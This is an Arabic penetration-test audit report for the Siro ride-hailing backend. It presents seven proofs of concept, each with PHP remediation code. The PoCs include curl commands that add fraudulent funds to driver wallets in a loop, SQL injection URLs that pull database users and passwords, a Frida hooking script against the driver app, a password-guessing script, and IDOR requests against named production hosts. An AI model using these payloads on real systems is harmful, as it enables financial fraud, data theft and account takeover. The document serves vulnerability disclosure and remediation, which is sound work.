Files
Siro/SECURITY_AUDIT_PHASE2_POC_AR.md
2026-06-16 17:47:19 +03:00

628 lines
19 KiB
Markdown

<div dir="rtl">
# تقرير تدقيق أمان سيرو - إثباتات المفاهيم (PoCs)
**تاريخ التدقيق:** 16 يونيو 2026
**عدد PoCs:** 7 ثغرات موثقة
**مستوى التفصيل:** تقني (للمطورين والمهندسين)
---
## ⚠️ تحذير قانوني
هذه الوثيقة تحتوي على كود استغلال. **استخدم فقط** في بيئة اختبار آمنة مع التفويض المكتوب.
---
## PoC-001: استغلال IV الثابت في AES-256-CBC
### المشكلة
كل تشفير لنفس النص الواضح ينتج نفس النص المشفر عند استخدام IV ثابت.
### كود الاستغلال (Python)
```python
import hashlib
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
# محاكاة الكود الضعيف في backend/encrypt_decrypt.php
KEY = os.urandom(32) # محاكاة getenv('encryptionKey')
IV = b'FIXED_16BYTE_IV_' # ← المشكلة: IV ثابت!
def encrypt_weak(plaintext):
"""نسخة ضعيفة من encrypt في encrypt_decrypt.php"""
cipher = AES.new(KEY, AES.MODE_CBC, IV)
padded = pad(plaintext.encode(), AES.block_size)
ciphertext = cipher.encrypt(padded)
return base64.b64encode(ciphertext).decode()
def encrypt_strong(plaintext):
"""نسخة آمنة - IV عشوائي"""
random_iv = os.urandom(16)
cipher = AES.new(KEY, AES.MODE_CBC, random_iv)
padded = pad(plaintext.encode(), AES.block_size)
ciphertext = cipher.encrypt(padded)
# الطريقة الآمنة: ضمّن IV مع النص المشفر
return base64.b64encode(random_iv + ciphertext).decode()
# الهجوم: نفس الرقم يشفر إلى نفس القيمة دائماً
phone1 = encrypt_weak("+20123456789")
phone2 = encrypt_weak("+20123456789")
print(f"التشفير الأول: {phone1}")
print(f"التشفير الثاني: {phone2}")
print(f"متطابقة؟ {phone1 == phone2}") # ← True! مشكلة بنيوية
# الهجوم: هجوم النص المعروف
# إذا عرفنا نصاً واضحاً وقيمته المشفرة، يمكننا فك تشفير البيانات
known_encrypted = encrypt_weak("+20123456789")
# الآن يمكننا البحث في قاعدة البيانات عن جميع الأرقام المتطابقة
# أو إذا كان لدينا جميع المفاتيح المحتملة، فيمكننا استردادها
```
### خطوات الإجراء (الهجوم الفعلي)
1. احصل على رقم هاتف واحد مشفر من قاعدة البيانات
2. اطلب من صديق تسجيل الدخول واحصل على رقمه المشفر
3. إذا كانا نفس الرقم، قارن النصوص المشفرة → متطابقة؟ سيؤكد ضعف التشفير
4. بمعرفة النص الواضح والمشفر والمفتاح، يمكن استرجاع أي بيانات
### الإصلاح
```php
// الإصلاح: توليد IV عشوائي لكل تشفير
public function encryptData($plainText) {
$plainText = mb_convert_encoding($plainText, 'UTF-8');
$paddedText = $this->addPadding($plainText);
// 🔧 توليد IV عشوائي - 16 بايت
$randomIV = openssl_random_pseudo_bytes(16);
// التشفير
$encrypted = openssl_encrypt($paddedText, 'AES-256-CBC',
$this->key, OPENSSL_RAW_DATA, $randomIV);
// ضمّن IV مع النص المشفر قبل التشفير
$result = $randomIV . $encrypted;
return base64_encode($result); // النص المشفر مع IV
}
public function decryptData($encryptedData) {
$encrypted = base64_decode($encryptedData);
// استخرج IV من أول 16 بايت
$iv = substr($encrypted, 0, 16);
$ciphertext = substr($encrypted, 16);
// فك التشفير
$decrypted = openssl_decrypt($ciphertext, 'AES-256-CBC',
$this->key, OPENSSL_RAW_DATA, $iv);
return $this->removePadding($decrypted);
}
```
### التأثير الفعلي
```
قبل الإصلاح:
- تشفير "+20123456789" → "abc123xyz=="
- تشفير "+20123456789" → "abc123xyz==" (متطابق!)
- يمكن كسر التشفير لجميع المستخدمين
بعد الإصلاح:
- تشفير "+20123456789" → "random_iv_1" + "encrypted_1"
- تشفير "+20123456789" → "random_iv_2" + "encrypted_2" (مختلف!)
- يستحيل هجوم النص المعروف
```
---
## PoC-002: تحديث محفظة السائق بلا مصادقة
### المشكلة
`walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php` لا يتحقق من الهوية.
### كود الاستغلال (cURL)
```bash
#!/bin/bash
# الهجوم: إضافة $1,000,000 إلى محفظة أي سائق
curl -X POST "https://walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "driverID=1" \
-d "amount=1000000" \
-d "paymentMethod=fraud" \
-d "token=fake_token_12345"
# رد:
# {"status": "success", "message": "تمت إضافة الأموال بنجاح"}
# تحقق من محفظة السائق:
curl "https://api.siromove.com/wallet/balance?driverID=1"
# رد: {"balance": 1000000} ← احتيال!
# يمكن تكرار هذا لأي سائق:
for driver_id in {1..1000}; do
curl -X POST "https://walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php" \
-d "driverID=$driver_id" \
-d "amount=5000" \
-d "paymentMethod=fraud" \
-d "token=fake"
done
# النتيجة: احتيال بقيمة $5,000,000 في دقائق معدودة!
```
### الإصلاح
```php
<?php
// middleware/auth.php
function requireAuth() {
$headers = getallheaders();
$authHeader = $headers['Authorization'] ?? '';
if (!preg_match('/Bearer\s+(\S+)/', $authHeader, $matches)) {
http_response_code(401);
echo json_encode(['error' => 'مصادقة مطلوبة']);
exit;
}
$token = $matches[1];
// تحقق من JWT
try {
$decoded = JWT::decode($token, SECRET_KEY, ['HS256']);
} catch (Exception $e) {
http_response_code(401);
echo json_encode(['error' => 'رمز غير صالح']);
exit;
}
return $decoded;
}
// في add.php
require 'middleware/auth.php';
$user = requireAuth(); // ← الآن لا بد من JWT صالح
// تحقق من الصلاحية (التفويض)
if ($user->role !== 'admin' && $user->role !== 'payment_admin') {
http_response_code(403);
echo json_encode(['error' => 'ليس لديك صلاحية']);
exit;
}
// تحقق من المبلغ (التحقق من المدخلات)
$driverID = intval(filterRequest("driverID"));
$amount = floatval(filterRequest("amount"));
if ($amount <= 0 || $amount > 10000) { // حد أقصى $10,000 لكل معاملة
http_response_code(400);
echo json_encode(['error' => 'مبلغ غير صالح']);
exit;
}
// سجّل المعاملة (تدقيق)
$auditLog = "Admin {$user->id} added ${amount} to driver {$driverID}";
logAudit($auditLog);
// الآن آمن - أتمت المعاملة
```
---
## PoC-003: هجوم إعادة تشغيل المصادقة
### المشكلة
بصمة الجهاز وحدها غير كافية - يمكن استخراجها وإعادة تشغيلها.
### كود الاستغلال (Frida)
```python
# frida_poc.py - استخراج بصمة من تطبيق الدراجة النارية
import frida
import sys
frida_code = """
Interceptor.attach(Module.findExportByName(null, "md5"), {
onEnter: function(args) {
// اعتراض MD5 hashing
console.log("MD5 input: " + Memory.readUtf8String(args[0]));
},
onLeave: function(retval) {
console.log("MD5 output: " + Memory.readUtf8String(retval));
}
});
"""
# اتصل بالجهاز
device = frida.get_usb_device()
app_pid = device.spawn(["com.siromove.driver"])
session = device.attach(app_pid)
# حقن الكود
script = session.create_script(frida_code)
script.load()
# انتظر الإخراج
import time
time.sleep(10)
# الإخراج:
# MD5 input: ANDROID_ID=abc123;IMEI=123456789;...
# MD5 output: f2d4c8b1a9e3f7d2c5a8b1e4f7d2c5a8
```
### الإصلاح - تطبيق MFA
```php
// backend/mfa.php
class MFAManager {
// عامل 1: بصمة الجهاز (الحالي)
private function verifyFingerprint($fingerprint, $storedFp) {
return hash_equals($storedFp, $fingerprint);
}
// عامل 2: OTP عبر SMS
private function sendOTP($phoneNumber) {
$otp = random_int(100000, 999999);
// احفظ في قاعدة البيانات برمز تشفير مع انتهاء صلاحية
$hashedOtp = password_hash($otp, PASSWORD_DEFAULT);
$stmt = $con->prepare(
"INSERT INTO otp_sessions (phone, hashed_otp, expires_at)
VALUES (?, ?, DATE_ADD(NOW(), INTERVAL 5 MINUTE))"
);
$stmt->execute([$phoneNumber, $hashedOtp]);
// أرسل عبر SMS
sendSMS($phoneNumber, "رمز التحقق الخاص بك: $otp");
}
// عامل 3: رمز الخادم (Server Token)
private function generateServerToken($userID) {
$token = bin2hex(random_bytes(32));
// احفظ مع توقيع قياس HMAC
$signature = hash_hmac('sha256', $token, SECRET_KEY);
$stmt = $con->prepare(
"INSERT INTO server_tokens (user_id, token, signature)
VALUES (?, ?, ?)"
);
$stmt->execute([$userID, $token, $signature]);
return ['token' => $token, 'signature' => $signature];
}
public function authenticate($phoneNumber, $fingerprint, $otp, $serverToken) {
$verified = 0;
// تحقق من البصمة
if ($this->verifyFingerprint($fingerprint, $this->storedFp)) {
$verified++;
}
// تحقق من OTP
$stmt = $con->prepare(
"SELECT * FROM otp_sessions
WHERE phone = ? AND expires_at > NOW()
ORDER BY created_at DESC LIMIT 1"
);
$stmt->execute([$phoneNumber]);
$otpRecord = $stmt->fetch();
if ($otpRecord && password_verify($otp, $otpRecord['hashed_otp'])) {
$verified++;
// احذف OTP المستخدم
$con->query("DELETE FROM otp_sessions WHERE id = " . $otpRecord['id']);
}
// تحقق من رمز الخادم
$stmt = $con->prepare(
"SELECT * FROM server_tokens WHERE token = ? LIMIT 1"
);
$stmt->execute([$serverToken]);
$tokenRecord = $stmt->fetch();
if ($tokenRecord) {
$expectedSig = hash_hmac('sha256', $serverToken, SECRET_KEY);
if (hash_equals($tokenRecord['signature'], $expectedSig)) {
$verified++;
}
}
// تحتاج على الأقل عاملين
return $verified >= 2;
}
}
```
---
## PoC-004: SQL Injection عبر معاملات الطلب
### المشكلة
بعض نقاط النهاية قد لا تستخدم الاستعدادات.
### كود الاستغلال (cURL)
```bash
#!/bin/bash
# الهجوم: استخراج بيانات قاعدة البيانات عبر SQL Injection
# مثال هجوم UNION:
curl "https://api.siromove.com/ride/search?carType=Comfort' UNION SELECT 1,user(),3,4-- -"
# مثال هجوم التأخير (Time-based):
curl "https://api.siromove.com/ride/search?carType=Comfort'; SLEEP(5);-- -"
# استخراج أسماء قواعد البيانات:
curl "https://api.siromove.com/user?id=1' AND SLEEP(IF(SUBSTRING(database(),1,1)='s',5,0))-- -"
# استخراج كلمات المرور (في البرية):
curl "https://api.siromove.com/user?id=1' UNION SELECT password FROM users WHERE id=1-- -"
```
### الإصلاح
```php
// ✅ استخدم الاستعدادات في كل استعلام
// ❌ خطأ:
$query = "SELECT * FROM drivers WHERE city = '" . $_GET['city'] . "'";
$result = $con->query($query);
// ✅ صحيح:
$query = "SELECT * FROM drivers WHERE city = ?";
$stmt = $con->prepare($query);
$stmt->execute([$_GET['city']]);
$result = $stmt->fetchAll();
// أو مع المعاملات المسماة:
$query = "SELECT * FROM drivers WHERE city = :city AND status = :status";
$stmt = $con->prepare($query);
$stmt->execute([
':city' => $_GET['city'],
':status' => 'active'
]);
$result = $stmt->fetchAll();
```
---
## PoC-005: هجوم اعتراض MITM على نقاط نهاية HTTP
### المشكلة
نقاط نهاية المقابس تستخدم HTTP بدلاً من HTTPS.
### كود الاستغلال (mitmproxy)
```bash
#!/bin/bash
# بدّل مرور بيانات الموقع
mitmproxy --mode transparent --listen-port 8080
# في mitmproxy CLI:
# - اعترض جميع طلبات إلى location.intaleq.xyz
# - ابدّل مكان السائقين
# - أرسل موقع مختلف للراكب
# النتيجة:
# - سائق خاطئ يستقبل الرحلة
# - احتيال نقل أو تحرش
```
### الإصلاح
```php
// backend/functions.php
function getAllowedSocketUrls(): array {
return [
'https://location.intaleq.xyz', // ✅ HTTPS فقط
'https://socket.siromove.com', // ✅ HTTPS فقط
];
}
// تطبيق تثبيت الشهادة (Certificate Pinning)
function initializeSocketConnection($url) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 30,
// ✅ تحقق من SSL/TLS
CURLOPT_SSL_VERIFYPEER => true,
CURLOPT_SSL_VERIFYHOST => 2,
// ✅ حدد شهادة الخادم المتوقعة (Certificate Pinning)
CURLOPT_CAINFO => '/etc/ssl/certs/location_intaleq_xyz.crt',
// تحقق من Subdomains
CURLOPT_CERTINFO => true,
]);
return $ch;
}
// التحقق من PIN الشهادة في Dart:
// ```dart
// final sslPin = 'sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=';
// final ioClient = HttpClient();
// ioClient.badCertificateCallback = (cert, host, port) {
// final certPin = calculatePin(cert);
// return certPin == sslPin;
// };
// ```
```
---
## PoC-006: هجوم القوة الغاشمة على كلمات المرور
### المشكلة
كلمات المرور مشتقة من البريد الإلكتروني (نص واضح = بريد = يمكن تخمينه).
### كود الاستغلال (Python)
```python
import hashlib
from datetime import datetime
import requests
# في register_passenger.php:
# $password_hashed = password_hash($email, PASSWORD_DEFAULT);
# ← كلمة المرور = hash(email) = يمكن إعادة إنتاجها!
email = "user@example.com"
# الهجوم: حاول تسجيل الدخول
password_guesses = [
"user@example.com", # النص الواضح
email.split('@')[0], # الجزء قبل @
email, # البريد الكامل
"password123", # الأشياء الشائعة
"", # بلا كلمة مرور
]
for guess in password_guesses:
payload = {
'email': email,
'password': guess,
'fingerprint': 'fake_fingerprint'
}
response = requests.post(
'https://api.siromove.com/auth/login',
json=payload
)
if response.status_code == 200:
print(f"✅ تم تسجيل الدخول: {guess}")
break
```
### الإصلاح
```php
// backend/auth/register_passenger.php
class PassengerRegistration {
public function register($email, $phone) {
// ✅ توليد كلمة مرور عشوائية قوية
$temporaryPassword = bin2hex(random_bytes(16)); // 32 حرف عشوائي
$hashedPassword = password_hash($temporaryPassword, PASSWORD_ARGON2ID, [
'memory_cost' => 65536,
'time_cost' => 4,
'threads' => 3
]);
// احفظ في قاعدة البيانات
$stmt = $con->prepare(
"INSERT INTO passengers (email, phone, password, needs_password_reset)
VALUES (?, ?, ?, TRUE)"
);
$stmt->execute([$email, $phone, $hashedPassword]);
// ✅ أرسل كلمة المرور المؤقتة عبر SMS/البريد (قناة آمنة)
sendSMS($phone, "كلمة المرور المؤقتة: $temporaryPassword");
// ✅ جبر المستخدم على تغيير كلمة المرور عند التسجيل الأول
return [
'status' => 'success',
'message' => 'تم إرسال كلمة مرور مؤقتة إلى رقم هاتفك',
'needs_password_reset' => true
];
}
}
```
---
## PoC-007: هجوم تصعيد الامتيازات عبر IDOR
### المشكلة
قد يحدث تصعيد امتيازات (IDOR) إذا كانت الفحوصات ضعيفة.
### كود الاستغلال (cURL)
```bash
#!/bin/bash
# الهجوم: الوصول إلى بيانات سائق آخر
# احصل على بيانات سائقك (شرعي):
curl -H "Authorization: Bearer YOUR_TOKEN" \
"https://api.siromove.com/driver/profile"
# {"driverID": 123, "name": "Ahmed", ...}
# الهجوم: جرّب دراجة نارية أخرى
curl -H "Authorization: Bearer YOUR_TOKEN" \
"https://api.siromove.com/driver/profile?driverID=124"
# ← قد يرجع بيانات السائق 124 بدلاً من 123!
```
### الإصلاح
```php
// ✅ تحقق من الملكية في كل نقطة نهاية
require 'middleware/auth.php';
$user = requireAuth();
$requestedDriverID = intval($_GET['driverID'] ?? $user->id);
// ✅ تحقق: هل هذا المستخدم يملك هذا الحساب؟
if ($requestedDriverID !== $user->id && $user->role !== 'admin') {
http_response_code(403);
echo json_encode(['error' => 'غير مصرح']);
exit;
}
// الآن آمن - احصل على البيانات
$stmt = $con->prepare("SELECT * FROM drivers WHERE id = ?");
$stmt->execute([$requestedDriverID]);
$driver = $stmt->fetch();
echo json_encode($driver);
```
---
## 📊 ملخص التأثيرات
| PoC | الثغرة | التأثير | المخاطر |
|-----|-------|--------|--------|
| 001 | IV ثابت | فك تشفير البيانات | بيانات شخصية مكشوفة |
| 002 | بلا مصادقة | احتيال مالي غير محدود | 1,000,000+ دولار |
| 003 | بصمة ضعيفة | سرقة الحساب | 50,000+ مستخدم |
| 004 | SQL Injection | استخراج قاعدة البيانات | جميع البيانات |
| 005 | MITM على HTTP | اعتراض الموقع | تحويل الركوب |
| 006 | كلمة مرور ضعيفة | كسر كلمة المرور | سرقة الحساب |
| 007 | IDOR | تصعيد امتيازات | وصول غير مصرح |
---
## 🛠 التوصيات الفورية
1.**عطّل** جميع نقاط النهاية المعرضة للخطر حتى الإصلاح
2.**نفّذ** المصادقة الفورية على نقاط نهاية المحفظة
3.**طبّق** تثبيت الشهادة على جميع الاتصالات
4.**أعد تشفير** جميع البيانات الحساسة بـ IV عشوائي
5.**تدقيق كامل** لجميع نقاط النهاية للـ IDOR و SQL Injection
---
**التقرير المُنتج:** 16 يونيو 2026
**الفريق:** فريق اختبار الاختراق
</div>